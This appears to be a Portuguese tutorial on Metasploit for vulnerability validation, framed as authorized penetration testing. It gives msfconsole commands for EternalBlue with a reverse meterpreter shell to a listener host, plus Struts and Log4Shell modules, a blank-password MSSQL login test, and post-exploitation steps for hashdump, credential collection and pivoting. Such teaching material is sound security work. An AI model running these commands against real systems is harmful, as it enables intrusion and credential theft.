Explorando Vulnerabilidades com o Metasploit Framework

Visão Geral

O Metasploit Framework é a plataforma de testes de penetração mais utilizada no mundo, mantida pela Rapid7. Ele contém mais de 2.300 exploits, 1.200 módulos auxiliares e 400 módulos de pós-exploração. Dentro do gerenciamento de vulnerabilidades, o Metasploit serve como uma ferramenta de validação para confirmar que as vulnerabilidades identificadas são realmente exploráveis, permitindo a priorização baseada em risco e demonstrando o impacto no mundo real para as partes interessadas.

Quando Usar

• Ao realizar testes de segurança autorizados que envolvem a exploração de vulnerabilidades com o Metasploit Framework.
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado.
• Ao conduzir exercícios de equipe vermelha (red team) ou engajamentos de testes de penetração.
• Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas.

Pré-requisitos

• Metasploit Framework instalado (Kali Linux ou standalone).
• Banco de dados PostgreSQL para gerenciamento de sessões/credenciais.
• Autorização escrita e regras de engajamento para os testes.
• Ambiente de teste isolado ou janela de teste de produção aprovada.
• Compreensão de redes, protocolos e conceitos de exploração.

Conceitos Principais

Arquitetura do Metasploit

• msfconsole: Interface principal de linha de comando interativa.
• Exploits: Módulos que aproveitam vulnerabilidades para obter acesso.
• Payloads: Código executado no alvo após a exploração bem-sucedida.
• Auxiliary: Módulos de varredura, fuzzing e coleta de informações.
• Post-Exploitation: Módulos para escalonamento de privilégios, persistência, pivoteamento.
• Encoders: Codificação de payloads para evadir detecção baseada em assinatura.
• Nops: Geradores de "no-operation" para alinhamento de payloads.

Fluxo de Trabalho de Exploração em Gerenciamento de Vulnerabilidades

Diferente de equipes vermelhas ofensivas, o gerenciamento de vulnerabilidades usa o Metasploit para:

1. Validar descobertas de scanners (confirmar explorabilidade).
2. Demonstrar o risco para as partes interessadas do negócio.
3. Priorizar a remediação com base em caminhos de exploração comprovados.
4. Verificar patches confirmando que os exploits não são mais bem-sucedidos.

Fluxo de Trabalho

Passo 1: Inicializar o Ambiente Metasploit

# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns

Passo 2: Validar Vulnerabilidades Específicas

# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check

Passo 3: Varredura Auxiliar para Validação

# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run

Passo 4: Avaliação de Impacto Pós-Exploração

# Após a exploração bem-sucedida, demonstre o impacto
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Demonstração de pivoteamento de rede
meterpreter> run post/multi/manage/autoroute

…